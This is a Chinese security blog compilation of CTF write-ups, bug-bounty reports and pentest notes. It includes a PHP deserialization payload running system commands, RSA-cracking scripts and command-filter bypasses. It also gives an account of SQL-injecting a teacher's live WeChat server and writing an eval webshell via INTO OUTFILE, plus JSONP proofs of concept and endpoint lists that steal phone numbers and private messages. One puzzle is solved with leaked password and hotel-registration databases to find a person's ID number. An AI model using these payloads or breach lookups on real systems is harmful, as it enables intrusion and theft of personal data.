近期关于flash csrf学习的一点总结

这个月在百度的BSRC刷了一周,刷到了第一....运气不错~

提交了三个关于bduss劫持的漏洞

其中精华,就用一个图来概括吧。。

链接我贴出来:

http://www.wooyun.org/bugs/wooyun-2014-072951

(1)。找个地方上传swf
(2)。找个可以利用的图片上传点(参考http://drops.wooyun.org/tips/2031)
(3)。找个没有过滤的jsonp接口输出swf文件流(依旧参考上一条链接)
(4)。flash权限反射(参考http://drops.wooyun.org/papers/5732,http://weibo.com/p/1001603881940380956046)

 

SCTF的一点笔记

rsa:

yafu是分解大数的一个高效工具

地址:https://sourceforge.net/projects/yafu/files/latest/download?source=typ_redirect

wiener-attack是针对rsa中d的攻击工具

链接:https://github.com/pablocelayes/rsa-wiener-attack

rsatool可以用来生成rsa的私钥

地址:https://github.com/ius/rsatool

openssl用来对一些标准格式的rsa加解密

kali已经自带,就不贴地址了

openssl rsautl -decrypt -in xxxx -inkey -out out.txt

openssl还可以在命令里输出公钥的两个值

openssl rsa -in pek -pubin -text -modulus

在这里要注意被加密的文件的文件格式有个选项是啥来着忘了,可以-h看一下

 

WEB:

Phar://伪协议可以用来包含压缩文件执行(本地包含,大小写都可以)

Phar:///tmp/asdf/aaa.php

如果上面这个字符串被包含,那么/tmp/asdf这个文件会被解压缩,并且里面aaa.php文件会被包含

类似的:

Zip://伪协议也可以包含压缩文件

Zip:///tmp/asdf#aaa

效果同上,具体内容可以参考php官网

这两个文件包含,如果遇到了,但是没有文件上传点,但是给了phpinfo页面的话,可以通过上传文件,时间竞争来包含getshell,对任意php上传文件,会在tmp目录留下临时文件,但是一旦上传好就会把文件删掉,所以我们只能通过脚本重复发包。争取在文件被删除之前包含它。至于文件路径,会在phpinfo中被当做全局变量输出出来。所以可以用自动化脚本去上传,读路径,包含

这里附上一个脚本web200

要使用的时候需要更改目标地址,目标页面地址,以及文件的16进制

 

做web还跟jj学到了一个新姿势,如果命令执行过滤了空格,可以用<>来绕过

比如,php<"/tmp/code.php">"/tmp/result.txt"

这条命令里面没有空格,会执行code.php里面的代码并且把输出重定向到result.txt里面

还有个注意点就是做命令执行题目的时候,很可能ls命令没法列出所有文件,我们可以去php里面找相关函数来列文件

http://www.freebuf.com/articles/web/54086.html

这里可以对抗php里面 imagecreatefromgif这类函数,使得被php_gd库修改之后的图片中仍存在恶意代码。OTZ原来这一题不需要时间竞争

xpath injection这次没做,傻杰哥做出来了。有时间我要补补

 

关于pwn,pwn一直是我们的痛处,web题在比赛的时候坑太多太多。。感觉是时候学一波pwn了。。

【安恒429】对web3的一点理解

参考资料:

http://www.jb51.net/article/56305.htm

http://drops.wooyun.org/tips/3909

http://cn.php.net/manual/zh/session.configuration.php

web3 总共包括三个文件 index.php class.php phpinfo.php

全都给出了源码,并且给了我们一个phpinfo页面

index.php

ini_set('session.serialize_handler', 'php');

require("./class.php");

session_start();

$obj = new foo1();

$obj->varr = "phpinfo.php";

?>

class.php

highlight_string(file_get_contents(basename($_SERVER['PHP_SELF'])));
//show_source(__FILE__);

class foo1{
public $varr;
function __construct(){
$this->varr = "index.php";
}
function __destruct(){
if(file_exists($this->varr)){
echo "
文件".$this->varr."存在
";
}
echo "
这是foo1的析构函数
";
}
}

class foo2{
public $varr;
public $obj;
function __construct(){
$this->varr = '1234567890';
$this->obj = null;
}
function __toString(){
$this->obj->execute();
return $this->varr;
}
function __desctuct(){
echo "
这是foo2的析构函数
";
}
}

class foo3{
public $varr;
function execute(){
eval($this->varr);
}
function __desctuct(){
echo "
这是foo3的析构函数
";
}
}

?>

phpinfo.php

session_start();

require("./class.php");

$f3 = new foo3();

$f3->varr = "phpinfo();";

$f3->execute();

?>

从phpinfo页面中 我们可以知道几个信息

PHP Version 5.6.19
session.auto_start Off Off
session.serialize_handler php_serialize php_serialize
session.upload_progress.cleanup Off Off
session.upload_progress.enabled On On
session.upload_progress.name PHP_SESSION_UPLOAD_PROGRESS PHP_SESSION_UPLOAD_PROGRESS
session.upload_progress.prefix upload_progress_ upload_progress_

php.ini里面设置的php反序列化处理器是php_serialize

而在index.php中的处理器是php

此时session.auto_start=Off,就会导致反序列化漏洞,可以实例化我们构造好的对象,并执行类中的__wakeup()以及__destruct(),__construct()等内置的自动触发的方法

参考资料:http://drops.wooyun.org/tips/3909

结合文件代码,看到这里大概我们就知道了,这一题要构造出执行链,然后序列化之后输入到session中,通过反序列化注入对象,并且执行我们想要的命令

这时候问题就来了,输入点在哪?

通读代码,并没有发现$_GET $_POST $_COOKIE等方法。

但是代码中启用了session 所以这里可以用一个奇淫技巧向session里面注入我们构造的数据。

session.upload_progress.enabled=On时

当浏览器向服务器端上传一个文件时,PHP将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中。然后,随着上传的进行,周期性的更新session中的信息。

所以我们就可以自己构造一个上传表单,在表单中注入我们的反序列化字符串

其中enabled控制upload_progress功能的开启与否,默认开启;cleanup 则设置当文件上传的请求提交完成后,是否清除session的相关信息,默认开启。

在上传文件的表单中,需要为该次上传设置一个标识符,并在接下来的过程中使用该标识符来引用进度信息。具体的,在上传表单中需要有一个隐藏的input,它的name属性为php.ini中 session.upload_progress.name 的值;它的值可以由自己定义(假设是“test”)

那么文件上传的信息会存在session的session.upload_progress.prefix+session.upload_progress.name字段里。

在php.ini默认设置的情况下,我们定义的值为test

那么在文件的信息就会存在于$_SESSION['upload_progress_test']中,打印出这个字段的结构后,我们就可以知道,我们可控的字符串字段包括文件名,表单的文件变量名,session.upload_progress.name等。

此时完整的利用链就出来了。

先通过构造文件上传表单,在session中创建一个构造好的反序列化字符串。

然后在通过这里的反序列化缺陷,让他自动执行我们的恶意代码

仔细阅读class.php

$foo1=new foo1();
$foo2=new foo2();
$foo3=new foo3();
$foo3->varr="system('#code to execute#');";
$foo2->obj=$foo3;
$foo1->varr=$foo2;
echo serialize($foo1);

上面的语句可以构造出序列化之后的命令执行

O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:{s:4:"varr";s:10:"1234567890";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:31:"system('ls -al /var/www/html');";}}}

这样就可以执行命令了~~

在构造一下cat /var/www/html/flag_Z11O65g9uWbBUokxujdkc763h83hhZUuzoXe.php

就可以读出来flag了

 

【安恒429】两题writeup

rsa算法原理参见:http://www.ruanyifeng.com/blog/2013/07/rsa_algorithm_part_two.html

题目:

{920139713,19}

704796792
752211152
274704164
18414022
368270835
483295235
263072905
459788476
483295235
459788476
663551792
475206804
459788476
428313374
475206804
459788476
425392137
704796792
458265677
341524652
483295235
534149509
425392137
428313374
425392137
341524652
458265677
263072905
483295235
828509797
341524652
425392137
475206804
428313374
483295235
475206804
459788476
306220148

猜测给出的是公钥。

用python可以穷举出两个素数分别是18443 * 49891

于是得到方程:19x+920071380y=1

用拓展欧几里得求解

def extendedGCD1(a, b):
# a*xi + b*yi = ri
if b == 0:
return (1, 0, a)
(x, y, r) = extendedGCD1(b, a%b)
"""
gcd(a, b) = a*xi + b*yi
gcd(b, a % b) = b*xi+1 + (a - [a/b]*b)*yi+1
gcd(a, b) = gcd(b, a % b) => a*xi + b*yi = a*yi+1 + b*(xi+1 - [a/b]*yi+1)
xi = yi+1
yi = xi+1 - [a/b]*yi+1
"""
tmp = x
x = y
y = tmp - (a/b) * y
return (x, y, r)
a,b,c=extendedGCD1(19,920071380)
print a,b,c

x=96849619 y=-2

那么私钥就有了,写Py解密

a=[704796792,752211152,274704164,18414022,368270835,483295235,263072905,459788476,

483295235,459788476,663551792,475206804,459788476,428313374,475206804,459788476

,425392137,704796792,458265677,341524652,483295235,534149509,425392137,428313374,

425392137,341524652,458265677,263072905,483295235,828509797,341524652,425392137,

475206804,428313374,483295235,475206804,459788476,306220148]
flag=''
for i in range(0,len(a)):
flag+=chr(pow(a[i],96849619,920139713))
print flag

结果:

 

第二题:社工题

线索:https://www.douban.com/group/topic/5221588/?start=200

第一步在"喜欢"里找到了出题人

点击看他个人信息:

得到三个信息

1.weiluchuan12341127@163.com

2.听说163被拖库了,吓得我立马改了密码,但原密码是我的密钥啊怎么办

3.evL5S5J+a5HzxAKR8xXiUXPUd1LDKPYYNHSjN6ZF8i0=

意思是,找到邮箱的密码,作为密钥解开上面的密文

于是结合到前段时间传的一个163密码泄露,通过一个网址查询到密码http://163password.download/

weiluchuan12341127@163.com----63542021127

在根据得到的密文和密钥去找解密。。

放一个解密网址:https://www.tools4noobs.com/online_tools/decrypt/

接下来就跟踪到微博。。。http://www.weibo.com/u/3192503722

在微博好一顿找,过程不赘述。

在相册找到三个线索

姓名:董进 10年开过房 flag是身份证+之前的那个密钥

联想到开房信息的泄露,于是找一个网站进行检索http://www.kfzlk.com/index.asp?keyword=%B6%AD%BD%F8

试了几个叫董进的,10年开房的。。。。

然后就成功了

某渗透题题解

活动页面:http://gmcc2016.zhaopin.com/#jmgz

题目原下载地址:http://221.176.65.16/doc/test.zip

备用下载地址:链接: http://pan.baidu.com/s/1c1OsczY 密码: h9b2

做题之前在虚拟机里面要恢复一下快照,否则做了没啥意义

用到的工具 nmap sqlmap dirb 中国菜刀 nc iis6.exe等等

我的writeup:虚拟机渗透

 

【渗透】一次毫无技术含量渗透某老师的微信点名服务器

0x01

信息搜集

从微信端获得如下url

https://wwxt.ngrok.natapp.cn/CMS2/register.php

http://wwxt.ngrok.natapp.cn/CMS2/reg.html

 

0x02

手动探测

在reg.php中发现一个ajax请求。url是:service.php?action=queryStudentInfo&stu_id=

从功能上来看是一个获取用户信息的ajax接口,既然和数据库操作相关,那么会不会存在注入呢?简单粗暴的丢到了sqlmap里,结果发现一片红,应该是被防火墙给拦截了。同时ip也被ban了,无法访问http了。

打开cmd ping了一下服务器 发现是ping的通的。

于是推测 仅仅限制访问了http

打开kali 用nmap扫了一下端口,发现开放了443

于是改用https协议访问,返回正常。

这下也不敢用工具了,直接开始手动注入

 

0x03

攻击&渗透

 

手动测试,发现很可能存在漏洞

上面那条语句应该返回了所有的用户信息,但是只取了第一条返回。

于是测试字段数

 

发现八个字段时返回正常,且显示位是3,4,7,8

看看数据库权限先~

 

看到root简直开心。。代表可以读文件、写文件 以及很大的权限

想直接写一个php木马到网站根目录,但是貌似不知道网站的根目录

所以先尝试下读apache的配置文件看看 能不能找到网站的根目录

 

用apache的默认路径成功读取到信息!

那么我们就得到了网站的根路径 /var/services/web/

尝试写一个php一句话木马

http://xxxxx ‘ union select 1,2,3,4,5,6,7,’<?php eval($_POST[hhh]);?>’ into outfile ‘/var/services/web/CMS2/hhh.php’%23

 

写入成功~~~

 

到这一步已经想干啥就可以干啥了 网站,数据库,微信全部可以控制了~

 

0x04

结尾

由于老师一夜之间就已经修复了漏洞,所以现在放出过程也没什么事。。。

好久没有渗透 全篇没什么技术含量

修复建议:

增加过滤函数防止注入

不要直接用root来操作数据库

 

JSONP窃取用户手机号

漏洞详情

被TSRC忽略了 理由是危害小。。
一、详细说明:

http://chong.qq.com/

只要通过这个站冲过话费的号码都可以被第三方网站嵌入jsonp页面读取出来
不知道其他的充值接口是不是也是这个
查询接口:http://chong.qq.com/tws/record/gethisphone4?func=getHisPhoneCallback&flag=1&dtag=1457667669835&g_tk=&g_ty=ls
g_tk可以为空,referer也没有做检测

二、漏洞证明:

 <script> function getHisPhoneCallback(data){ alert(JSON.stringify(data)); } </script> <script src="http://chong.qq.com/tws/record/gethisphone4?func=getHisPhoneCallback&flag=1&dtag=1457667669835&g_tk=&g_ty=ls"></script>


这是我用我的大号测试的

同时我用小号登录 直接访问会弹出一个空白框。
那是因为小号没有充值记录
于是我用小号给一个姑娘充了10块话费
然后再次访问
成功获取到了手机号

点击我的链接就可以偷走你的微博私信

一、漏洞说明:

微博上你点我的链接我就可以看到你的私信内容

二、漏洞证明:

http://api.weibo.com/webim/2/direct_messages/contacts.json?source=209678993&count=500&add_virtual_user=5,&is_include_group=1&callback=msg

这应该是浏览器端微博私信的一个API

这是一个JSONP接口,也验证了referer,但是允许空referer!!

所以我们可以构造页面跨协议发送请求。这样可以空referer访问

==================================

绕过referer的一些技巧

 http://xxx.com/?http://sina.com.cn

http://sina.com.cn.xxx.com/

JSONP的一些笔记

游戏安全:这一条可以查询QQ号,玩那些游戏,以及游戏时间[已失效]

昵称生日:这一条可以查指定QQ号的昵称和生日

JSON:这个没有callback暂时不知道怎么用,会返回朋友网的一些信息

新浪微博:可以查询ID 以及几个不知名参数

新浪微博:ID 昵称 头像

http://game.weibo.com/home/indexv3/pajaxUserInfo?callback=getdata

http://guba.sina.com.cn/api/?s=user&a=check_friend&uid=&uids=http://guba.sina.com.cn/api/?s=user&a=check_friend&uid=&uids=2882345664&rn=1457361094127222&rn=1457361094127222

http://wyxgw.game.weibo.com/index.php?appid=1111&callback=eval(window.name);//

留存备用,如果遇到$.getscript(“限制新浪域”)就能用到了

http:///a.mp3

新浪博客self-xss。。。

http://fm.baidu.com/dev/api/?tn=playlist&special=flash&prepend=&format=json&id=public_tuijian_suibiantingting&callback=packFmLoadSo

抓百度id

http://map.baidu.com/?qt=deviceInfoNew&type=1&uid=&routeInfo=&t=1457952588507&callback=asd

可以获得用户手机型号

http://app.gamevip.qq.com/cgi-bin/gamevip_other/qqgame_get_relation?type=3&callback=jsonp1458041577226&filter_type=3&appid=0&_=1458041577244

获取好友的接口 但是做了referer限制。找个flash做csrf?。

http://act.vip.youku.com/vipactive/active/index.php?c=reg_partner&a=reg&code=10001&callback=getmobile 优酷手机号

CTF 两个Web题目的Writeup

TingHosting
A new file hosting service for very small files. could you pwn it?

http://136.243.194.53/

可以首先在页面中发现一个隐藏的src参数,在URL里加上?src=1之后可以返回出页面的源代码。

大概的意思就是说可以往服务器上传任意文件名的文件,不过每个文件的内容只有有7个字符那么长。

于是首先google了一下,最短的php webshell应该是14字符的这个:
(不知道渣浪会不会蠢蠢地胡乱转义。

显然不够长啊。

后来脑洞了很多,想到了可爱的*,于是很重要的payload是:
z.php
内容为:
刚好七个字符,不多不少,能把当前目录下的所有玩意按顺序执行一遍。

于是就要构造一些执行链了,一开始的想法是:
busybox ftpget two.dog w.php z.php
其中前4个文件内容随意,w.php是上面的关键payload,执行w.php后其内容被我服务器上的webshell覆盖,而获取webshell。

结果悲剧的发现busybox ftpget支持的host只能是ip,而不支持域名。

后来想通过wget来构造,利用了302跳转可以跨协议的特点。
wget wtf.two.dog z.php
前两个文件人意内容,z.php为重要payload,即可拿下webshell。

但仔细一看,这题会在每一个人的目录下创建一个index.html,于是执行链被破环没法工作。

于是使用bash来先干掉index.html
构造:
bash bb index.html z.php
其中bash内容随意,bb的内容为rm ./*不超过7个字符。然后再通过上面的方法即可获得一个webshell,然后在根目录发现一个flag。

之后看了老外的做法真是简单好用,就利用bash、bb和z.php,bb的内容分别为ls /, cat /f*,简单直接0 0

Kummerkasten

Our Admin is a little sad this time of the year. Maybe you can cheer him up at this site http://136.243.194.46/
Please note: This challenge does not follow the flag format.

Hints:
To build the flag, concatenate both parts and omit '32C3_'

进去之后只有一个提交留言的地方,四下看了看没发现别的东西,感觉和XSS会有关。
直接丢了一个盲打cookie的payload之后收到了回显:

访问过去是403,感觉需要用XSS来读一下页面的内容。
本来的思路是XSS里带上jQuery然后用jQuery操作,结果发现页面里面有,太方便了。
直接用ajax可以轻松读取页面并回传。

看到了 /admin/bugs 和 /admin/token

根据页面中的信息来看,关键是要读两个png图片回来。

最后的payload如下:

然后把两个图里的内容,一个mysql的password和一个6位数字拼起来就是FLAG咯。
更多的writeup可以参考如下链接:

https://github.com/ctfs/write-ups-2015/tree/master/32c3-ctf-2015/web

原文链接:http://weibo.com/p/1001603925793708368740